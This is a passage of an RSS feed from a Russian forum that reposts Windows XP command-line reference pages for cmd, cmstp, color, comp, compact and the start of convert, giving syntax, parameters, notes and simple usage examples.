						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если указан параметр /c или /k, команда cmd обрабатывает остаток строки и кавычки сохраняются только при выполнении следующих условий:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o параметр /s не используется;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o используется только одна пара кавычек;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o текст в кавычках не содержит никаких специальных символов (например: &amp;amp;&amp;lt;&amp;gt;( ) @ ^ |);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o текст в кавычках не содержит одного или нескольких пробелов;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o строка в кавычках является именем исполняемого файла.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если эти условия выполняются, строка обрабатывается, т. е. проверяется, является ли первый символ открывающей кавычкой. Если первый символ является открывающей кавычкой, он связывается с закрывающей кавычкой. Текст, следующий за закрывающей кавычкой, сохраняется.&lt;br /&gt;&amp;#160; &amp;#160; * Выполнение подразделов реестра&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если в строке не указан параметр /d, программа Cmd.exe выполняет поиск следующих подразделов реестра:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun\REG_SZ&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun REG_EXPAND_SZ&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если присутствуют один или оба подраздела реестра, они выполняются перед всеми другими переменными.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Внимание!&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o Ошибка при изменении реестра может серьезно повредить систему. Перед изменением реестра создайте резервную копию всех важных данных.&lt;br /&gt;&amp;#160; &amp;#160; * Разрешение и запрещение расширений командного процессора&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; В Windows XP расширения командного процессора разрешены по умолчанию. Эти расширения можно запретить в определенном процессе с помощью параметра /e:off. В компьютере или сеансе пользователя можно разрешить или запретить расширения для всех параметров команды cmd, задав следующие значения REG_DWORD:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\EnableExtensions\REG_DWORD&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions\REG_DWORD&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Установите в реестре значение REG_DWORD в 0&amp;#215;1 (т. е. разрешить) или 0&amp;#215;0 (т. е. запретить) с помощью программы Regedit.exe. Пользовательские настройки имеют приоритет над настройками компьютера, а параметры командной строки имеют приоритет над параметрами реестра.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Внимание!&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o Ошибка при изменении реестра может серьезно повредить систему. Перед изменением реестра создайте резервную копию всех важных данных.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если расширения командного процессора разрешены, вступают в силу следующие команды.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o assoc&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o call&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o chdir (cd)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o color&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o del (erase)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o endlocal&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o for&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o ftype&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o goto&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o if&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o mkdir (md)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o popd&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o prompt&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o pushd&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o set&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o setlocal&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o shift&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o start (также вносит изменения во внешние командные процессы)&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Дополнительные сведения об этих командах см. в разделе «».&lt;br /&gt;&amp;#160; &amp;#160; * Включение отложенного расширения переменных среды&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если включено отложенное расширение переменных среды, можно воспользоваться восклицательным знаком, чтобы подставить значение переменной среды во время выполнения.&lt;br /&gt;&amp;#160; &amp;#160; * Включение завершения имен файлов и папок&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; По умолчанию завершение имен файлов и папок не используется. Завершение имен файлов можно включить или отключить для определенного процесса команды cmd с помощью параметра /f:{on|off}. В компьютере или сеансе пользователя можно включить или отключить завершения имен файлов и папок для всех процессов команды cmd, задав следующие значения REG_DWORD:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\CompletionChar\REG_DWORD&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\PathCompletionChar\REG_DWORD&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar\REG_DWORD&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar\REG_DWORD&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Чтобы задать значение REG_DWORD, запустите программу Regedit.exe и введите шестнадцатеричное число управляющего символа для определенной функции (например 0&amp;#215;9 — это TAB, а 0&amp;#215;08 — это BACKSPACE). Пользовательские настройки имеют приоритет над настройками компьютера, а параметры командной строки имеют приоритет над параметрами реестра.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Внимание!&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; o Ошибка при изменении реестра может серьезно повредить систему. Перед изменением реестра создайте резервную копию всех важных данных.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если включено завершение имен файлов и папок с помощью параметра /f:on, воспользуйтесь клавишами CTRL+D для завершения имен папок и CTRL+F для завершения имен файлов. Чтобы отключить определенный символ завершения в реестре, введите значение пробела [0&amp;#215;20], поскольку он не является допустимым управляющим символом.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если нажать клавиши CTRL+D или CTRL+F, команда cmd выполнит завершение имени папки или файла. Данные комбинации клавиш выполняют следующие функции: добавление подстановочных знаков в строку (если они отсутствуют), создание списка подходящих путей, а затем отображение первого пути из этого списка. Если ни один из путей не удовлетворяет условиям отбора, функция завершения имен файлов и папок выдает звуковой сигнал не выводит сведения на экран. Для перемещения по списку путей, удовлетворяющих условиям отбора, нажимайте клавиши CTRL+D или CTRL+F. Для перемещения по списку в обратном порядке нажмите одновременно клавишу SHIFT и клавиши CTRL+D или CTRL+F. Чтобы сбросить сохраненный список путей, удовлетворяющих условиям отбора, и создать новый список, измените строку и нажмите клавиши CTRL+D или CTRL+F. При переключении между клавишами CTRL+D и CTRL+F сохраненный список путей сбрасывается и создается новый. Единственная разница между клавишами CTRL+D и CTRL+F заключается в том, что CTRL+D позволяет отбирать только имена файлов, а CTRL+F — как имена файлов, так и имена папок. Если завершения имен файлов и папок используется с одной из встроенных команд каталогов (т. е. CD, MD или RD), предполагается завершение папок.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Завершение имен файлов и папок правильно обрабатывает имена файлов, которые содержат пробелы или специальные символы, если соответствующий путь заключен в кавычки.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Кавычки необходимы при использовании следующих специальных символов: &amp;amp; &amp;lt; &amp;gt; [ ] { } ^ = ; ! &#039; + , ` ~ [пробел].&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если вводятся сведения, содержащие пробелы, заключите этот текст в кавычки (например &amp;quot;Имя компьютера&amp;quot;).&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если выполняется завершение имен файлов и папок из строки, часть [пути], расположенная справа от курсора, (т. е. с той точки строки, с которой выполняется завершение) отбрасывается.&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Cmstp&lt;/p&gt;
						&lt;p&gt;Установка или удаление профиля службы диспетчера подключений. Выполненная без параметров команда cmstp устанавливает профиль службы со стандартными параметрами, соответствующими данной операционной системе и разрешениям пользователя.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;Синтаксис 1: имя_файла_профиля_службы.exe /q:a /c:&amp;quot;cmstp.exe имя_файла_профиля_службы.inf [/nf] [/ni] [/ns] [/s] [/su] [/u]&amp;quot;&lt;/p&gt;
						&lt;p&gt;Синтаксис 2: cmstp.exe [/nf] [/ni] [/ns] [/s] [/su] [/u] &amp;quot;[диск:][путь]имя_файла_профиля_службы.inf&amp;quot;&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;имя_файла_профиля_службы.exe&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр для синтаксиса 1, но недопустим для синтаксиса 2. Задает имя пакета установки, содержащего профиль, который требуется установить.&lt;br /&gt;/q:a&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр для синтаксиса 1, но недопустим для синтаксиса 2. Задает установку профиля без подтверждения пользователя. В этом случае будет отображаться сообщение об успешном завершении установки.&lt;br /&gt;[диск:][путь]имя_файла_профиля_службы.inf&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Задает имя файла настройки, который определяет режим установки профиля. Параметр [диск:][путь] недопустим для синтаксиса 1.&lt;br /&gt;/nf&lt;br /&gt;&amp;#160; &amp;#160; Файлы поддержки не устанавливаются.&lt;br /&gt;/ni&lt;br /&gt;&amp;#160; &amp;#160; Значок на рабочем столе не создается. Данный параметр применяется только на компьютерах, работающих под управлением операционных систем Windows 95, Windows 98, Windows NT 4.0 или Windows Millennium Edition.&lt;br /&gt;/ns&lt;br /&gt;&amp;#160; &amp;#160; Ярлык на рабочем столе не создается. Данный параметр применяется только на компьютерах, работающих под управлением операционных систем Windows 2000 или Windows XP.&lt;br /&gt;/s&lt;br /&gt;&amp;#160; &amp;#160; Отмена уведомлений (т. е. запросов на подтверждения пользователя и сообщения об успешном завершении установки) при установке или удалении профиля службы.&lt;br /&gt;/su&lt;br /&gt;&amp;#160; &amp;#160; Профиль службы устанавливается только для одного, а не для всех пользователей. Данный параметр применяется только на компьютерах, работающих под управлением операционных систем Windows 2000 или Windows XP.&lt;br /&gt;/u&lt;br /&gt;&amp;#160; &amp;#160; Удаление профиля службы.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * /s — единственный параметр, который можно использовать вместе с /u.&lt;br /&gt;&amp;#160; &amp;#160; * Синтаксис 1 обычно используется в приложении выборочной установки. Чтобы воспользоваться этим синтаксисом, необходимо запустить команду cmstp из каталога, в котором находится файл, указанный в параметре имя_файла_профиля_службы.exe.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Следующие примеры иллюстрируют возможные варианты использования команды cmstp при работе с вымышленным профилем службы Fiction и его файлами.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Чтобы установить профиль службы Fiction без файлов поддержки, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; fiction.exe /c:&amp;quot;cmstp.exe fiction.inf /nf&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; * Чтобы установить профиль службы Fiction для одного пользователя без уведомлений, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; fiction.exe /c:&amp;quot;cmstp.exe fiction.inf /s /su&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; * Чтобы удалить профиль службы Fiction без уведомлений, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; fiction.exe /c:&amp;quot;cmstp.exe fiction.inf /s /u&amp;quot;&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Color&lt;/p&gt;
						&lt;p&gt;Изменение цвета текста и фона в окне командной строки для текущего сеанса. Выполненная без параметров команда color восстанавливает стандартные цвета текста и фона в окне командной строки.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;color [тф]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;тф&lt;br /&gt;&amp;#160; &amp;#160; Изменение цвета текста т и фона ф. В следующей таблице перечислены допустимые шестнадцатеричные числа, которые можно задать в качестве значений параметров т и ф.&lt;br /&gt;&amp;#160; &amp;#160; Значение 	Цвет&lt;br /&gt;&amp;#160; &amp;#160; 0 	Черный&lt;br /&gt;&amp;#160; &amp;#160; 1 	Синий&lt;br /&gt;&amp;#160; &amp;#160; 2 	Зеленый&lt;br /&gt;&amp;#160; &amp;#160; 3 	Голубой&lt;br /&gt;&amp;#160; &amp;#160; 4 	Красный&lt;br /&gt;&amp;#160; &amp;#160; 5 	Сиреневый&lt;br /&gt;&amp;#160; &amp;#160; 6 	Желтый&lt;br /&gt;&amp;#160; &amp;#160; 7 	Белый&lt;br /&gt;&amp;#160; &amp;#160; 8 	Серый&lt;br /&gt;&amp;#160; &amp;#160; 9 	Светло-синий&lt;br /&gt;&amp;#160; &amp;#160; A 	Светло-зеленый&lt;br /&gt;&amp;#160; &amp;#160; B 	Светло-голубой&lt;br /&gt;&amp;#160; &amp;#160; C 	Светло-красный&lt;br /&gt;&amp;#160; &amp;#160; D 	Светло-сиреневый&lt;br /&gt;&amp;#160; &amp;#160; E 	Светло-желтый&lt;br /&gt;&amp;#160; &amp;#160; F 	Яркий белый&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Чтобы задать стандартные цвета в окне командной строки, щелкните левый верхний угол этого окна, выберите команду Умолчания, перейдите к вкладке Цвета и укажите цвета для параметров Текст на экране и Фон экрана.&lt;br /&gt;&amp;#160; &amp;#160; * Для изменения цветов окна командной строки в текущем сеансе можно воспользоваться командой cmd /t:тф.&lt;br /&gt;&amp;#160; &amp;#160; * Если цвета текста и фона совпадают, команда color устанавливает значение параметра ERRORLEVEL в единицу (1).&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы изменить цвет текста на красный, а цвет фона на белый в окне командной строки, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;color FC&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Comp&lt;/p&gt;
						&lt;p&gt;Побайтное сравнение двух или нескольких файлов. Команда comp позволяет сравнивать файлы, находящиеся на разных дисках и в разных каталогах. При сравнении файлов с помощью команды comp выводятся их имена и расположения. Выполненная без параметров команда comp запрашивает файлы для сравнения.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;comp [файл1] [файл2] [/d] [/a] [/l] [/n=кол_строк] [/c]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;файл1&lt;br /&gt;&amp;#160; &amp;#160; Задание имени и расположения первого файла или набора файлов для сравнения. Для указания нескольких файлов можно использовать подстановочные знаки (* и ?).&lt;br /&gt;файл2&lt;br /&gt;&amp;#160; &amp;#160; Задание имени и расположения второго файла или набора файлов для сравнения. Для задания нескольких файлов можно использовать подстановочные знаки (* и ?).&lt;br /&gt;/d&lt;br /&gt;&amp;#160; &amp;#160; Вывод различий в десятичном формате. (По умолчанию используется шестнадцатеричный формат.)&lt;br /&gt;/a&lt;br /&gt;&amp;#160; &amp;#160; Вывод различий в символьном виде.&lt;br /&gt;/l&lt;br /&gt;&amp;#160; &amp;#160; Вывод номера строки, в которой обнаружено различие, вместо отображения смещения в байтах.&lt;br /&gt;/n=кол_строк&lt;br /&gt;&amp;#160; &amp;#160; Сравнение первых нескольких строк, заданных параметром кол_строк, обоих файлов, даже если эти файлы имеют разный размер.&lt;br /&gt;/c&lt;br /&gt;&amp;#160; &amp;#160; Сравнение без учета регистра.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Сравнение файлов с одинаковыми именами&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если сравниваются файлы с одинаковыми именами, они должны находятся в разных каталогах или на разных дисках. Если в параметре файл2 не указано имя файла, предполагается, что имя файл2 совпадает с именем файл1. Для задания имен файлов можно использовать подстановочные знаки (* и ?).&lt;br /&gt;&amp;#160; &amp;#160; * Неполное задание параметров файл1 и файл2&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если имена файлов файл1 или файл2 введены не полностью или параметр файл2 пропущен, программа comp выведет на экран запрос для получения недостающих сведений. Если параметр файл1 содержит только имя диска или каталога без имени файла, команда comp сравнивает все файлы в заданном каталоге с файлом файл2. Если параметр файл2 содержит только имя диска или каталога, будет предполагаться, что имя файла файл2 такое же, как в параметре файл1.&lt;br /&gt;&amp;#160; &amp;#160; * Вывод информации о несовпадениях&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; В процессе сравнения программа comp выводит сообщения с указанием расположения несовпадающих байтов в файлах. В каждое сообщение включены сведения о смещении адреса несовпадающих байтов и содержимое этих байт (в шестнадцатеричном формате, если не указан параметр /a или /d). Эти сообщения имеют следующий формат:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Ошибка сравнения OFFSET xxxxxxxx&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; файл1 = xx&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; файл2 = xx&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; После того как найдено 10 различий, работа команды comp прекращается и выводится следующее сообщение:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Обнаружено 10 различий. Сравнение завершено.&lt;br /&gt;&amp;#160; &amp;#160; * Сравнение файлов разного размера&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Чтобы сравнить файлы разных размеров, необходимо указать параметр /n. Если файлы имеют различные размеры, comp выводит следующее сообщение:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Разные размеры файлов&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Сравнить другие файлы [Y(да)/N(нет)]?&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Нажмите клавишу Y для сравнения следующей пары файлов. Нажмите клавишу N для завершения выполнения команды comp.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; При нажатии клавиши Y команда comp продолжает сравнение с заданными параметрами, пока не будет нажата клавиша N или заново введена эта команда.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; При работе с файлами разного размера воспользуйтесь параметром /n, чтобы сравнить только начала файлов.&lt;br /&gt;&amp;#160; &amp;#160; * Последовательное сравнение файлов&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если использованы подстановочные знаки (* и ?) для задания нескольких файлов, comp найдет первый файл, удовлетворяющий шаблону файл1, и выполнит его сравнение с соответствующим файлом файл2, если он существует. Команда comp выводит результаты сравнения и проводит сравнение всех файлов, удовлетворяющих шаблону файл1. После завершения работы comp будет выведено следующее сообщение:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Сравнить другие файлы [Y(да)/N(нет)]?&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Чтобы сравнить другие файлы, нажмите клавишу Y. Команда comp запросит расположения и имена новых файлов. Чтобы завершить сравнение, нажмите клавишу N. При нажатии клавиши Y команда comp запрашивает параметры командной строки. Если эти параметры не заданы, программа comp использует параметры, введенные ранее.&lt;br /&gt;&amp;#160; &amp;#160; * Если файлы не найдены&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если командой comp не найдены указанные файлы, выводится запрос на продолжение сравнения.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы сравнить содержимое каталога C:\Reports с содержимым каталога резервных копий \\Sales\Backup\April, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;comp c:\reports \\sales\backup\april&lt;/p&gt;
						&lt;p&gt;Чтобы сравнить первые десять строк файлов в каталоге \Invoice и вывести результат в десятичном формате, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;comp \invoice\*.txt \invoice\backup\*.txt /n=10 /d&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Compact&lt;/p&gt;
						&lt;p&gt;Вывод сведений или изменение уплотнения файлов и каталогов в разделах NTFS. Запущенная без параметров команда compact выводит сведения об уплотнении файлов в текущем каталоге.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;compact [{/c|/u}] [/s[:каталог]] [/a] [/i] [/f] [/q] [имя_файла[...]]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;/c&lt;br /&gt;&amp;#160; &amp;#160; Уплотнение заданного каталога или файла.&lt;br /&gt;/u&lt;br /&gt;&amp;#160; &amp;#160; Разуплотнение заданного каталога или файла.&lt;br /&gt;s:каталог&lt;br /&gt;&amp;#160; &amp;#160; Задание выполнения операции (уплотнения или разуплотнения) во всех подкаталогах указанного или текущего каталога.&lt;br /&gt;/a&lt;br /&gt;&amp;#160; &amp;#160; Отображение скрытых и системных файлов.&lt;br /&gt;/i&lt;br /&gt;&amp;#160; &amp;#160; Игнорирование ошибок.&lt;br /&gt;/f&lt;br /&gt;&amp;#160; &amp;#160; Принудительное уплотнение или разуплотнение каталогов или файлов. Используется в случае, когда предыдущая операция над данным каталогом или файлом была прервана в результате сбоя системы. Для полного уплотнения частично уплотненного файла используются параметры /c и /f, а также задается имя такого файла.&lt;br /&gt;/q&lt;br /&gt;&amp;#160; &amp;#160; Включение в отчет только существенных сведений.&lt;br /&gt;имя_файла&lt;br /&gt;&amp;#160; &amp;#160; Задание имени файла или каталога. Допускается использование нескольких имен файлов и подстановочных знаков (* и ?).&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Команда compact является интерфейсом командной строки для встроенного средства уплотнения NTFS. Команда позволяет просматривать и задавать атрибуты уплотнения файлов и каталогов разделов дисков с файловой системой NTFS. Состояние сжатия каталога показывает, будут ли автоматически сжаты файлы, добавляемые в каталог. Когда изменяется состояние сжатия каталога, не нужно изменять состояние сжатия файлов, уже помещенных в каталог.&lt;br /&gt;&amp;#160; &amp;#160; * Нельзя использовать команду compact для чтения, записи и присоединения томов, уплотненных служебными программами DriveSpace и DoubleSpace.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы задать состояние уплотнения текущей папки, а также ее подпапок и существующих файлов, из этой папки, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;compact /c /s&lt;/p&gt;
						&lt;p&gt;Чтобы задать состояние уплотнения файлов в текущей папке, а также всех ее подпапок и файлов в них, без изменения состояния самой этой папки, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;compact /c /s *.*&lt;/p&gt;
						&lt;p&gt;Чтобы уплотнить том из корневой папки этого тома, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;compact /c /i /s:\&lt;/p&gt;
						&lt;p&gt;В этом примере задается состояние уплотнения корневой папки и всех папок данного тома, а также уплотняются все файлы этого тома. Параметр /i позволяет отменить вывод сообщений об ошибках, чтобы не прерывать процесс уплотнения.&lt;/p&gt;
						&lt;p&gt;Чтобы уплотнить все файлы с расширением .bmp в каталоге \Tmp и его подкаталогах, но без установки атрибута уплотнения для этих каталогов, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;compact /c /s:\tmp *.bmp&lt;/p&gt;
						&lt;p&gt;Чтобы завершить уплотнение файла Zebra.bmp, который был частично уплотнен до сбоя системы, выполните следующую команду:&lt;/p&gt;
						&lt;p&gt;compact /c /f zebra.bmp&lt;/p&gt;
						&lt;p&gt;Чтобы удалить атрибуты уплотнения в каталоге C:\Tmp, но без изменения уплотнения файлов в этом каталоге, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;compact /u c:\tmp&lt;/p&gt;
						&lt;p&gt;Продолжение... пишем сами... :D&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 15:27:02 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=22#p22</guid>
		</item>
		<item>
			<title>Часть-3</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=21#p21</link>
			<description>&lt;p&gt;Convert&lt;/p&gt;
						&lt;p&gt;Преобразование томов с файловой системой FAT и FAT32 в тома с файловой системой NTFS.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;convert [том] /fs:ntfs [/v] [/cvtarea:имя_файла] [/nosecurity] [/x]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;том&lt;br /&gt;&amp;#160; &amp;#160; Указание буквы диска (с последующим двоеточием), точки подключения или имени тома, преобразуемых в файловую систему NTFS. &lt;br /&gt;/fs:ntfs&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Преобразование тома в файловую систему NTFS.&lt;br /&gt;/v&lt;br /&gt;&amp;#160; &amp;#160; Задание режима вывода дополнительной информации, т. е. в процессе преобразования выводятся все сообщения.&lt;br /&gt;/cvtarea:имя_файла&lt;br /&gt;&amp;#160; &amp;#160; Только для опытных пользователей. Задание записи основной таблицы файлов (MFT) и прочих файлов метаданных NTFS в существующий непрерывный файл-заглушку. Этот файл должен находится в корневом каталоге преобразуемой файловой системы. Использование параметра /CVTAREA позволяет получить менее фрагментированную файловую систему после преобразования. Для получения оптимальных результатов размер этого файла должен равняться числу файлов и каталогов в файловой системе, выраженному в килобайтах, однако служебная программа преобразования обрабатывает файлы любого размера.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Дополнительные сведения о применении параметра /cvtarea см. по ссылке File Systems на веб-узле Microsoft Windows XP Resource Kits.(&lt;a href=&quot;http://www.microsoft.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.microsoft.com/&lt;/a&gt;)&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Важно!&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; * Файл-заглушку необходимо создать перед выполнением команды convert с помощью команды fsutil file createnew. Команда convert не позволяет создать этот файл. Эта команда только перезаписывает данный файл данными NTFS. После преобразования все неиспользованное пространство этого файла освобождается. Дополнительные сведения о команде fsutil file см. по ссылке «».&lt;/p&gt;
						&lt;p&gt;/nosecurity&lt;br /&gt;&amp;#160; &amp;#160; Задание свободного доступа к параметрам безопасности преобразованных файлов и каталогов.&lt;br /&gt;/x&lt;br /&gt;&amp;#160; &amp;#160; Отключение тома перед преобразованием при необходимости. Все открытые дескрипторы тома становятся недействительными.&lt;/p&gt;
						&lt;p&gt;Примечания&lt;/p&gt;
